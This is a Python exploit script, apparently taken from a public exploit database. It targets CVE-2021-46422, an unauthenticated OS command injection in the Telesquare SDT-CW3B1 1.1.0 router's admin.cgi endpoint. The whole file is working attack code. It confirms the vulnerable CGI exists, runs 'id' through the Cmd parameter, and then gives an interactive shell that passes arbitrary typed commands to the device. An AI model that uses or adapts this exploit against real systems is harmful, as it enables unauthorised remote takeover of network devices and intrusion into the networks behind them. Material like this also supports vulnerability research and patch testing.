Telesquare SDT-CW3B1 1.1.0 - OS Command Injection

#!/usr/bin/python3

# Exploit Title: Telesquare SDT-CW3B1 1.1.0 - OS Command Injection
# Date: 24th May 2022
# Exploit Author: Bryan Leong <NobodyAtall>
# Vendor Homepage: http://telesquare.co.kr/
# CVE : CVE-2021-46422
# Authentication Required: No

import requests
import argparse
import sys
from xml.etree import ElementTree

def sysArgument():
    ap = argparse.ArgumentParser()
    ap.add_argument("--host", required=True, help="target hostname/IP")   
    args = vars(ap.parse_args())
    return args['host']

def checkHost(host):
    url = "http://" + host

    print("[*] Checking host is it alive?")

    try:
        rsl = requests.get(url)
        print("[*] The host is alive.")
    except requests.exceptions.Timeout as err:
        raise SystemExit(err)

def exploit(host):
    url = "http://" + host + "/cgi-bin/admin.cgi?Command=sysCommand&Cmd="

    #checking does the CGI exists?
    rsl = requests.get(url)

    if(rsl.status_code == 200):
        print("[*] CGI script exist!")
        print("[*] Injecting some shell command.")

        #1st test injecting id command
        cmd = "id"

        try:
            rsl = requests.get(url + cmd, stream=True)
            xmlparser = ElementTree.iterparse(rsl.raw)

            cmdRet = []

            for event, elem in xmlparser:
                if(elem.tag == 'CmdResult'):
                    cmdRet.append(elem.text)
        except:
            print("[!] No XML returned from CGI script. Possible not vulnerable to the exploit")
            sys.exit(0)

        if(len(cmdRet) != 0):
            print("[*] There's response from the CGI script!")
            print('[*] System ID: ' + cmdRet[0].strip())
            
            print("[*] Spawning shell. type .exit to exit the shell", end="\n\n")
            #start shell iteration
            while(True):
                cmdInput = input("[SDT-CW3B1 Shell]# ")

                if(cmdInput == ".exit"):
                    print("[*] Exiting shell.")
                    sys.exit(0)

                rsl = requests.get(url + cmdInput, stream=True)
                xmlparser = ElementTree.iterparse(rsl.raw)


                for event, elem in xmlparser:
                    if(elem.tag == 'CmdResult'):
                        print(elem.text.strip())

                print('\n')
                
        else:
            print("[!] Something doesn't looks right. Please check the request packet using burpsuite/wireshark/etc.")
            sys.exit(0)

    else:
        print("[!] CGI script not found.")
        print(rsl.status_code)
        sys.exit(0)

def main():
    host = sysArgument()

    checkHost(host)
    exploit(host)

if  __name__ == "__main__":
    main()